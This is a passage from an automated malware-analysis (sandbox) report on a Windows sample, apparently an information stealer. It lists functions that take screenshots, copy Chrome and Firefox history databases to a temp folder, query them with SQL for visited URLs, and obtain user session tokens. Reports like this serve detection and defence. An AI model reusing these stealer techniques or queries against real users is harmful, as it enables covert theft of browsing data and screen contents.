GetProcAddress.KERNEL32(00000000,wtsapi32.dll), ref: 00407E1D
LoadLibraryA.KERNEL32(userenv.dll,CreateEnvironmentBlock,00000000,wtsapi32.dll,WTSQueryUserToken,00000000,kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407EEA,?,-00000001,0041B0FC,0000044D), ref: 00407E2E
GetProcAddress.KERNEL32(00000000,userenv.dll), ref: 00407E34

Part of subcall function 00402754: GetModuleFileNameA.KERNEL32(00000000,?,00000105,-00000001,0041B0FC,0000044D,00419E83,?), ref: 00402778

Strings

WTSGetActiveConsoleSessionId, xrefs: 00407DF6
userenv.dll, xrefs: 00407E29
D, xrefs: 00407E5D
WTSQueryUserToken, xrefs: 00407E0D
CreateEnvironmentBlock, xrefs: 00407E24
wtsapi32.dll, xrefs: 00407E12
kernel32.dll, xrefs: 00407DFB

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc$FileModuleName
String ID: CreateEnvironmentBlock$D$WTSGetActiveConsoleSessionId$WTSQueryUserToken$kernel32.dll$userenv.dll$wtsapi32.dll
API String ID: 2206896924-1825016774
Opcode ID: 3541d8832b36f0892a1d27c611b6b39943f35115fd077f71142f5b0334879507
Instruction ID: 099c1664e0e1cd81917be229cd1a82c6e96495822271a1ae00088806601eb9d9
Opcode Fuzzy Hash: 3541d8832b36f0892a1d27c611b6b39943f35115fd077f71142f5b0334879507
Instruction Fuzzy Hash: C2312BB1A443086EDB00EBB5CC42E9E7BBCAB48754F200576F504F72C1DA78AE058A68

Function 00407DD4 Relevance: 22.8, APIs: 6, Strings: 7, Instructions: 98libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407EEA,?,-00000001,0041B0FC,0000044D), ref: 00407E00
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00407E06
LoadLibraryA.KERNEL32(wtsapi32.dll,WTSQueryUserToken,00000000,kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407EEA,?,-00000001,0041B0FC,0000044D), ref: 00407E17
GetProcAddress.KERNEL32(00000000,wtsapi32.dll), ref: 00407E1D
LoadLibraryA.KERNEL32(userenv.dll,CreateEnvironmentBlock,00000000,wtsapi32.dll,WTSQueryUserToken,00000000,kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407EEA,?,-00000001,0041B0FC,0000044D), ref: 00407E2E
GetProcAddress.KERNEL32(00000000,userenv.dll), ref: 00407E34

Part of subcall function 00402754: GetModuleFileNameA.KERNEL32(00000000,?,00000105,-00000001,0041B0FC,0000044D,00419E83,?), ref: 00402778

Strings

WTSGetActiveConsoleSessionId, xrefs: 00407DF6
userenv.dll, xrefs: 00407E29
D, xrefs: 00407E5D
WTSQueryUserToken, xrefs: 00407E0D
CreateEnvironmentBlock, xrefs: 00407E24
wtsapi32.dll, xrefs: 00407E12
kernel32.dll, xrefs: 00407DFB

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc$FileModuleName
String ID: CreateEnvironmentBlock$D$WTSGetActiveConsoleSessionId$WTSQueryUserToken$kernel32.dll$userenv.dll$wtsapi32.dll
API String ID: 2206896924-1825016774
Opcode ID: 86478b50a7e8737c81cdd02ec66c25257b217c2bcec2324e0f8070e42a551c88
Instruction ID: f930562a739e9fb19de45fac1d58899ce59ec74f5e2b45b4c14d1fb7312bbdc9
Opcode Fuzzy Hash: 86478b50a7e8737c81cdd02ec66c25257b217c2bcec2324e0f8070e42a551c88
Instruction Fuzzy Hash: 28312EB1E443096EDB00EBB5CC42E9E7BFCAB48754F200576F514F72C1DA78AE058A58

Function 004178B4 Relevance: 18.2, APIs: 12, Instructions: 162windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00417994
CreateCompatibleDC.GDI32(00000000), ref: 0041799D
CreateCompatibleBitmap.GDI32(00000000,0041A69E,?), ref: 004179AD
SelectObject.GDI32(00000000,00000000), ref: 004179B6
BitBlt.GDI32(00000000,00000000,00000000,0041A69E,?,00000000,00000000,?,00CC0020), ref: 004179D6
CreateStreamOnHGlobal.COMBASE(00000000,000000FF,00000000), ref: 004179E8
GetHGlobalFromStream.COMBASE(?,?), ref: 00417A76
GlobalLock.KERNEL32(?), ref: 00417A80
GlobalUnlock.KERNEL32(?), ref: 00417AA2
DeleteObject.GDI32(00000000), ref: 00417AA8
DeleteDC.GDI32(00000000), ref: 00417AAE
ReleaseDC.USER32(00000000,00000000), ref: 00417AB6

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: Global$Create$CompatibleDeleteObjectStream$BitmapFromLockReleaseSelectUnlock
String ID:
API String ID: 734935659-0
Opcode ID: c6339665ace03b91d436a6d8c1ab4105ac859371922734f0929d45322917c03e
Instruction ID: 9ea5443061d6a736e16c7905b4946b830ee6406ef7c7b01cecb07d86951751fb
Opcode Fuzzy Hash: c6339665ace03b91d436a6d8c1ab4105ac859371922734f0929d45322917c03e
Instruction Fuzzy Hash: 9B513CB1944208AFDB10EFA5DC85BEF7BF8AB48305F24402AF614E62D1D7789985CB58

Function 004129A4 Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 222fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004129E8
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00412CA8,?,.tmp,?,?,00000000,00412BE7,?,00000000,00412C71,?,00000000), ref: 00412A64
DeleteFileW.KERNEL32(00000000), ref: 00412C05

Strings

SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),"unixepoch") , urls.title , urls.url FROM urls, visits WHERE urls.id = visits.url ORDER By visits.visit_time DESC LIMIT 0, 10000, xrefs: 00412ACE
.tmp, xrefs: 00412A03
%TEMP%, xrefs: 00412A23
, xrefs: 00412B98

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: File$CopyCountDeleteTick
String ID: $%TEMP%$.tmp$SELECT DATETIME( ((visits.visit_time/1000000)-11644473600),"unixepoch") , urls.title , urls.url FROM urls, visits WHERE urls.id = visits.url ORDER By visits.visit_time DESC LIMIT 0, 10000
API String ID: 2381671008-351388873
Opcode ID: ef1d475732b00c6658fc3908e371784fc5ab7c3495e9950f6ff69cc71723a14a
Instruction ID: 01415e14dcc46a11cfd4ad831b9185370b0be0c5393ee3a374a7f2b0250afb3b
Opcode Fuzzy Hash: ef1d475732b00c6658fc3908e371784fc5ab7c3495e9950f6ff69cc71723a14a
Instruction Fuzzy Hash: 05810C31A00109AFDB00EF95DD82ADEBBB9EF48315F204436F514F7292DB78AE558B58

Function 0041256C Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 222fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004125B0
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00412870,?,.tmp,?,?,00000000,004127AF,?,00000000,00412839,?,00000000), ref: 0041262C
DeleteFileW.KERNEL32(00000000), ref: 004127CD

Strings

%TEMP%, xrefs: 004125EB
SELECT DATETIME(moz_historyvisits.visit_date/1000000, "unixepoch", "localtime"),moz_places.title,moz_places.url FROM moz_places, moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id ORDER By moz_historyvisits.visit_date DESC LIMIT 0, 10000, xrefs: 00412696
, xrefs: 00412760
.tmp, xrefs: 004125CB

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: File$CopyCountDeleteTick
String ID: $%TEMP%$.tmp$SELECT DATETIME(moz_historyvisits.visit_date/1000000, "unixepoch", "localtime"),moz_places.title,moz_places.url FROM moz_places, moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id ORDER By moz_historyvisits.visit_date DESC LIMIT 0, 10000
API String ID: 2381671008-462058183
Opcode ID: 416e3653b17ffb8b792b409557a66c85679e4b3f6acb14a3ced176a5403dbca9
Instruction ID: 880bf71673710542150f6ebe4433b3a02274b147136189202950d85bd83b2515
Opcode Fuzzy Hash: 416e3653b17ffb8b792b409557a66c85679e4b3f6acb14a3ced176a5403dbca9
Instruction Fuzzy Hash: A9810C71A00109AFDB00EF95DD82ADEBBB9EF48314F504536F410F72A2DB78AE558B58

Function 00403368 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,0041A69E,00000000,?,00403436,?,?,?,00000002,004034D6,004025CB,0040260E,?,00000000), ref: 004033A1
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,0041A69E,00000000,?,00403436,?,?,?,00000002,004034D6,004025CB,0040260E), ref: 004033A7
GetStdHandle.KERNEL32(000000F5,004033F0,00000002,0041A69E,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,0041A69E,00000000,?,00403436), ref: 004033BC
WriteFile.KERNEL32(00000000,000000F5,004033F0,00000002,0041A69E,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,0041A69E,00000000,?,00403436), ref: 004033C2
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 004033E0

Strings

Error, xrefs: 004033D4
Runtime error at 00000000, xrefs: 0040339A, 004033D9

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: 0a4cf132a8cfaff0af1c5c0ffc7350712d2b813a546a0a59a711f5fd8d927d65
Instruction ID: 272384808b0d926620c8a29f01af81f970e1c010559b5e4fcbf7d036ebb79ccd
Opcode Fuzzy Hash: 0a4cf132a8cfaff0af1c5c0ffc7350712d2b813a546a0a59a711f5fd8d927d65
Instruction Fuzzy Hash: F5F09670AC03847AE620A7915DCAF9B2A5C8708F15F20867BB660744E5DBBC55C4525D

Function 00402668 Relevance: 11.4, APIs: 9, Instructions: 109COMMON

Download Yara Rule

APIs

CharNextA.USER32(00000000,?,00000000,00000000,?,0040279A,-00000001,0041B0FC,0000044D,00419E83,?), ref: 0040269F
CharNextA.USER32(00000000,00000000,?,00000000,00000000,?,0040279A,-00000001,0041B0FC,0000044D,00419E83,?), ref: 004026A9
CharNextA.USER32(00000000,00000000,?,00000000,00000000,?,0040279A,-00000001,0041B0FC,0000044D,00419E83,?), ref: 004026C6
CharNextA.USER32(00000000,?,00000000,00000000,?,0040279A,-00000001,0041B0FC,0000044D,00419E83,?), ref: 004026D0
CharNextA.USER32(00000000,00000000,?,00000000,00000000,?,0040279A,-00000001,0041B0FC,0000044D,00419E83,?), ref: 004026F9
CharNextA.USER32(00000000,00000000,00000000,?,00000000,00000000,?,0040279A,-00000001,0041B0FC,0000044D,00419E83,?), ref: 00402703
CharNextA.USER32(00000000,00000000,00000000,?,00000000,00000000,?,0040279A,-00000001,0041B0FC,0000044D,00419E83,?), ref: 00402727
CharNextA.USER32(00000000,00000000,?,00000000,00000000,?,0040279A,-00000001,0041B0FC,0000044D,00419E83,?), ref: 00402731

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: CharNext
String ID:
API String ID: 3213498283-0
Opcode ID: b7f289542d20783a7460a3fa223e5cf14214bb8296ee11ce479d6e83d044995d
Instruction ID: 5b28f76bfa796ab2381ca360e83c3cb8d2614de50686c14b6561fe7fc9f0b368
Opcode Fuzzy Hash: b7f289542d20783a7460a3fa223e5cf14214bb8296ee11ce479d6e83d044995d
Instruction Fuzzy Hash: B021E7546043951ADB31297A0AC877B6B894A5B304B68087BD0C1BB3D7D4FE4C8B832D

Function 00410E70 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 239fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00410EB4
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,0041119C,?,.tmp,?,?,00000000,004110CE,?,00000000,00411163,?,00000000), ref: 00410F30
DeleteFileW.KERNEL32(00000000), ref: 004110EC

Strings

%TEMP%, xrefs: 00410EEF
, xrefs: 00411078
.tmp, xrefs: 00410ECF

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: File$CopyCountDeleteTick
String ID: $%TEMP%$.tmp
API String ID: 2381671008-2792595090
Opcode ID: 25513a2d6d90f056bd5cf02fe9c1dff5265798498166ca8350b0b3102dd1fa50
Instruction ID: ef1d9ef4a41f0d536355ae74e23377fcfc6b42a5aa152db35adc264ec6821d93
Opcode Fuzzy Hash: 25513a2d6d90f056bd5cf02fe9c1dff5265798498166ca8350b0b3102dd1fa50
Instruction Fuzzy Hash: 55910B31A40109AFDB00EB95DC82EDEBBB9EF48315F104436F514F72A2DB78AE458B58

Function 00401934 Relevance: 9.1, APIs: 6, Instructions: 62COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.KERNEL32(0041C5B4,00000000,00401A0A), ref: 00401961
LocalFree.KERNEL32(00B88620,00000000,00401A0A), ref: 00401973
VirtualFree.KERNEL32(?,00000000,00008000,00B88620,00000000,00401A0A), ref: 00401992
LocalFree.KERNEL32(00B89620,?,00000000,00008000,00B88620,00000000,00401A0A), ref: 004019D1
RtlLeaveCriticalSection.KERNEL32(0041C5B4,00401A11,00B88620,00000000,00401A0A), ref: 004019FA
RtlDeleteCriticalSection.KERNEL32(0041C5B4,00401A11,00B88620,00000000,00401A0A), ref: 00401A04

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID:
API String ID: 3782394904-0
Opcode ID: a533093bf643e2750fc0c7fb6ce1a8cee2193e72f340cc35e9b9a59fd34ff9a9
Instruction ID: f5b3729ab89c308c15893b8da70c4d7314be5901088e834fcff69d5c90a64892
Opcode Fuzzy Hash: a533093bf643e2750fc0c7fb6ce1a8cee2193e72f340cc35e9b9a59fd34ff9a9
Instruction Fuzzy Hash: F11193B17843907ED715AB669CD1B927B969745708F50807BF100BA2F1C73DA840CF5D

Function 00410BB8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 198fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00410BFD
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00410E58,?,.tmp,?,?,00000000,00410DA0,?,00000000,00410E20,?,00000000), ref: 00410C79
DeleteFileW.KERNEL32(00000000), ref: 00410DBE

Strings

%TEMP%, xrefs: 00410C38
.tmp, xrefs: 00410C18

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: File$CopyCountDeleteTick
String ID: %TEMP%$.tmp
API String ID: 2381671008-3650661790
Opcode ID: 4a067d1f8ba6d400319fcf7a723a146227050b837b1c7306f0a806063b549887
Instruction ID: 978216aeb9802c3a8092c63d781cd7ad87e87d7acf88f4e3b280f19958954086
Opcode Fuzzy Hash: 4a067d1f8ba6d400319fcf7a723a146227050b837b1c7306f0a806063b549887
Instruction Fuzzy Hash: 7C710C71A00109AFDB00EBD5DC42ADEBBB9EF48318F50447AF514F7292DA78AE458A58

Function 00410900 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 197fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00410945
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00410B9C,?,.tmp,?,?,00000000,00410AE8,?,00000000,00410B63,?,00000000), ref: 004109C1
DeleteFileW.KERNEL32(00000000), ref: 00410B06

Strings

%TEMP%, xrefs: 00410980
.tmp, xrefs: 00410960

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: File$CopyCountDeleteTick
String ID: %TEMP%$.tmp
API String ID: 2381671008-3650661790
Opcode ID: b6365babbb2d3b2e1b37703ec200a2ec6b79da26c3864396c2c11ec0f131d7bb
Instruction ID: 1e08b77d5c93ddd244bb37ca777f3c967e0d5c0e96542229b92685f54af29c93
Opcode Fuzzy Hash: b6365babbb2d3b2e1b37703ec200a2ec6b79da26c3864396c2c11ec0f131d7bb
Instruction Fuzzy Hash: DA710B71A04109AFDB00EF95DC41EDEBBB9EF48318F104476F514F72A2DA78AE458B58

Function 00402AC4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402AE6
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,00402B35,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402B19
RegCloseKey.ADVAPI32(?,00402B3C,00000000,?,00000004,00000000,00402B35,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402B2F

Strings

SOFTWARE\Borland\Delphi\RTL, xrefs: 00402ADC
FPUMaskValue, xrefs: 00402B10

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: c24f3397a1a0978606a1aef1272915d0389f866a146333db21e610f4ec5f9f7b
Instruction ID: 9172d05214030136d6eeabac91fa7c92d03713ed8c8260d1a9efe939ba63eb8f
Opcode Fuzzy Hash: c24f3397a1a0978606a1aef1272915d0389f866a146333db21e610f4ec5f9f7b
Instruction Fuzzy Hash: 04019275500308B9DB21AF908D46FAA7BB8D708700F600076BA04F66D0E7B8AA10979C

Function 00406654 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,IsWow64Process,?,?,004066D4,?,00417330,00000000,004175F4,?,Windows : ,?,,?,EXE_PATH : ,?), ref: 00406660
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00406666
GetCurrentProcess.KERNEL32(?,00000000,kernel32.dll,IsWow64Process,?,?,004066D4,?,00417330,00000000,004175F4,?,Windows : ,?,,?), ref: 00406677

Strings

IsWow64Process, xrefs: 00406656
kernel32.dll, xrefs: 0040665B

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: AddressCurrentHandleModuleProcProcess
String ID: IsWow64Process$kernel32.dll
API String ID: 4190356694-3024904723
Opcode ID: bb90ac27b46476fccc6d3856fb06f30bc2750b404d13dc0022771fe07b4660df
Instruction ID: ba80d2391f81007aa42feea1da534082dc1adbf3711fe3d895332dec38dcedd5
Opcode Fuzzy Hash: bb90ac27b46476fccc6d3856fb06f30bc2750b404d13dc0022771fe07b4660df
Instruction Fuzzy Hash: B0E06DB12143019EEB007EB58881A3B21C89B44305F130E3EA496F21C1E97EC8A0866D

Function 00410E58 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00410EB4
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,0041119C,?,.tmp,?,?,00000000,004110CE,?,00000000,00411163,?,00000000), ref: 00410F30

Strings

%TEMP%, xrefs: 00410EEF
.tmp, xrefs: 00410ECF

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: CopyCountFileTick
String ID: %TEMP%$.tmp
API String ID: 3448371392-3650661790
Opcode ID: dcbd54fc4c37fa41d1f3def047f476980ec269fdbcef2be5238ae35c760609eb
Instruction ID: 0e4f139da3bc19c2096e57fedbffea1b6a0c7ee0d64fc6893e7b5a554fe936bc
Opcode Fuzzy Hash: dcbd54fc4c37fa41d1f3def047f476980ec269fdbcef2be5238ae35c760609eb
Instruction Fuzzy Hash: D0411F31904249AEDB01EBA1D852ACDBF79EF49308F50447BF500B76A3D67CAE458A58

Function 00410E60 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 116fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00410EB4
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,0041119C,?,.tmp,?,?,00000000,004110CE,?,00000000,00411163,?,00000000), ref: 00410F30

Strings

%TEMP%, xrefs: 00410EEF
.tmp, xrefs: 00410ECF

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: CopyCountFileTick
String ID: %TEMP%$.tmp
API String ID: 3448371392-3650661790
Opcode ID: b4051c86d89d16cbdd011401cb26392d540c890b59df4c5f9e00e45593a2b883
Instruction ID: 2c73a4ceecea9b7a55c8e1441bd033eb3759b1d2195d340dd4b2e4f4f6784083
Opcode Fuzzy Hash: b4051c86d89d16cbdd011401cb26392d540c890b59df4c5f9e00e45593a2b883
Instruction Fuzzy Hash: DF412131904149AFDB01FFA1D842ACDBBB9EF49318F50447BF500B36A2D67CAE458A58

Function 00410E68 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00410EB4
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,0041119C,?,.tmp,?,?,00000000,004110CE,?,00000000,00411163,?,00000000), ref: 00410F30

Strings

%TEMP%, xrefs: 00410EEF
.tmp, xrefs: 00410ECF

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: CopyCountFileTick
String ID: %TEMP%$.tmp
API String ID: 3448371392-3650661790
Opcode ID: fd3ed2e0f10af06c7055efab6d8518f1a7d31fde7c18b0f8517e5c88414f77f6
Instruction ID: 3bd2312418c75e2bfd4f88111c3886d823680ea6e83d1d6075c9c2a9f0993f15
Opcode Fuzzy Hash: fd3ed2e0f10af06c7055efab6d8518f1a7d31fde7c18b0f8517e5c88414f77f6
Instruction Fuzzy Hash: 4241013190410DAEDB01FFA1D842ADDBBB9EF49318F50447BF500B36A2D77DAE458A58

Function 00410BB0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 108fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00410BFD
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00410E58,?,.tmp,?,?,00000000,00410DA0,?,00000000,00410E20,?,00000000), ref: 00410C79

Strings

%TEMP%, xrefs: 00410C38
.tmp, xrefs: 00410C18

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: CopyCountFileTick
String ID: %TEMP%$.tmp
API String ID: 3448371392-3650661790
Opcode ID: 3c9c793cbba2b1494e5bbcc8797dd77cc55da2a1b03f1701932884ea86e2c921
Instruction ID: ad1686550c7843c0884c0506788be05dc1fde737249d1bd281ecbc27d8194f8d
Opcode Fuzzy Hash: 3c9c793cbba2b1494e5bbcc8797dd77cc55da2a1b03f1701932884ea86e2c921
Instruction Fuzzy Hash: BF412330914109AEDB01FF91D952ADDBBBDEF49318F50447BF400B7292D77CAE458A58

Function 00410BB4 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 106fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00410BFD
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00410E58,?,.tmp,?,?,00000000,00410DA0,?,00000000,00410E20,?,00000000), ref: 00410C79

Strings

%TEMP%, xrefs: 00410C38
.tmp, xrefs: 00410C18

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: CopyCountFileTick
String ID: %TEMP%$.tmp
API String ID: 3448371392-3650661790
Opcode ID: 7e65eb29c14a11400a8ae9f9535f570905a72362550addcf7d14f60cf147a02b
Instruction ID: ab4a798e1dfa23648b03a2b2561a2af29de01fabf162149de749457abe37d48b
Opcode Fuzzy Hash: 7e65eb29c14a11400a8ae9f9535f570905a72362550addcf7d14f60cf147a02b
Instruction Fuzzy Hash: 37411331910109AEDB01FF92D952ADDBBBDEF48318F50447BF400B3292D77DAE458A58

Function 00417E78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(dnsapi.dll,DnsQuery_A,00000000,00417F22,?,00000000,00000011,00000000), ref: 00417EB1
GetProcAddress.KERNEL32(00000000,dnsapi.dll), ref: 00417EB7

Strings

dnsapi.dll, xrefs: 00417EAC
DnsQuery_A, xrefs: 00417EA7

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: DnsQuery_A$dnsapi.dll
API String ID: 2574300362-3847274415
Opcode ID: 7cb15cb3270dfea7a69dcce4b2cbc269a71cea9dcfa89aa6ef7ea401378252cb
Instruction ID: ee02e28701cd333fe80aa916ff0e932040e536dc5bff3800914b034e455f76c5
Opcode Fuzzy Hash: 7cb15cb3270dfea7a69dcce4b2cbc269a71cea9dcfa89aa6ef7ea401378252cb
Instruction Fuzzy Hash: A9115E71A08304AED711DBA9CC52B9EBBB8DB45704F5140A7E504E72D2D6789E018B58

Function 00417E7C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 59libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(dnsapi.dll,DnsQuery_A,00000000,00417F22,?,00000000,00000011,00000000), ref: 00417EB1
GetProcAddress.KERNEL32(00000000,dnsapi.dll), ref: 00417EB7

Strings

dnsapi.dll, xrefs: 00417EAC
DnsQuery_A, xrefs: 00417EA7

Memory Dump Source

Source File: 00000004.00000002.2158199342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_962Zrwh5bU.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: DnsQuery_A$dnsapi.dll
API String ID: 2574300362-3847274415
Opcode ID: 3cfbd1c39c90712b0f6f91fda7395d1ac3d24759ea385032c5fbcfaa3da3176a
Instruction ID: 3ed38bd560de987a20526e09c97c4f2d359d7c1ce2b9a36b0a47fbdadc566110
Opcode Fuzzy Hash: 3cfbd1c39c90712b0f6f91fda7395d1ac3d24759ea385032c5fbcfaa3da3176a
Instruction Fuzzy Hash: 48113D71A08304AEDB11DBA9CD52B9EBBB8DB44714F5140BBF904E73D1D6789E018B58

